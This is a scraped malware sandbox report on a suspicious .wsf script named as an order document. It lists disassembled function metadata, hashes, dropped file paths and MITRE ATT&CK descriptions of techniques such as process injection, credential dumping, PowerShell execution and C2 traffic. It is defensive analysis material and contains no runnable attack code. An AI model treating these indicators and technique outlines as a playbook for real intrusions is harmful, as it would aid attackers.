RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 207A7B7F
RTL: Resource at %p, xrefs: 207A7B8E
RTL: Re-Waiting, xrefs: 207A7BAC

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: bc69d4f86ca43cc5f1f88cb1c4e7535892dcbabed9b7af2407fee9d927bdc062
Instruction ID: 95b5eae72a0944276798aa9aadd0852f5fb4ff006ddf6880b27bca6e8e846236
Opcode Fuzzy Hash: bc69d4f86ca43cc5f1f88cb1c4e7535892dcbabed9b7af2407fee9d927bdc062
Instruction Fuzzy Hash: 1D41FD713007029FC714CEA9CC51B9AB7E5FF9A720F100A2DF95A9B690DB31E985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 2076B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 207A728C

Strings

RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 207A7294
RTL: Resource at %p, xrefs: 207A72A3
RTL: Re-Waiting, xrefs: 207A72C1

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 7afd83b68e0d0c44577803e0d8a31b6dfbb97f20cfdf1b772975c39dc20a1172
Instruction ID: 052c2e1909b273f9c616a5ef47dbe219cd408028a6f69875fbbfa4fc7938bca1
Opcode Fuzzy Hash: 7afd83b68e0d0c44577803e0d8a31b6dfbb97f20cfdf1b772975c39dc20a1172
Instruction Fuzzy Hash: 6C411331700256ABC710CEA5CC42F5AB7B5FF95724F104629FD55AB281DB30E892D7D1

Uniqueness

Uniqueness Score: -1.00%

Function 20777D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 20777E8B

Strings

-, xrefs: 20777DDD
+, xrefs: 20777DE8

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction ID: 3432994c4d422e02c4525b3528e5dcd49489419c09dadd73da54f6de732714b9
Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction Fuzzy Hash: 5B91B070E002069BDF14DFE9C981ABEB7B5AF443A0F60C52AE954E72E1E7748E41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 20739126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

$, xrefs: 20739191
@, xrefs: 20739175

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: 1b9415bfba43d8e7889fdf740e3999095a2f3cbdc704187e1c60b34b020dcadd
Instruction ID: 8e34f27fd6017663edc2b02a640d0c882e150eb0af9f7c5bcec916596e8e2659
Opcode Fuzzy Hash: 1b9415bfba43d8e7889fdf740e3999095a2f3cbdc704187e1c60b34b020dcadd
Instruction Fuzzy Hash: BC813B72D01269DBDB21CF94CC45BEEB7B4AB08750F0041DAAA19B7680E7309E85DFA0

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ordine_doc_419024001904.wsf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhjghg51.z0h.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s40pbzt4.vzk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sd2ve3te.4le.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t1idxvew.52z.ps1

C:\Users\user\AppData\Local\Temp\s5497I81

C:\Users\user\AppData\Roaming\Ballepresseres.Ine

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Ordine_doc_419024001904.wsf"

Windows Analysis Report
Ordine_doc_419024001904.wsf

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre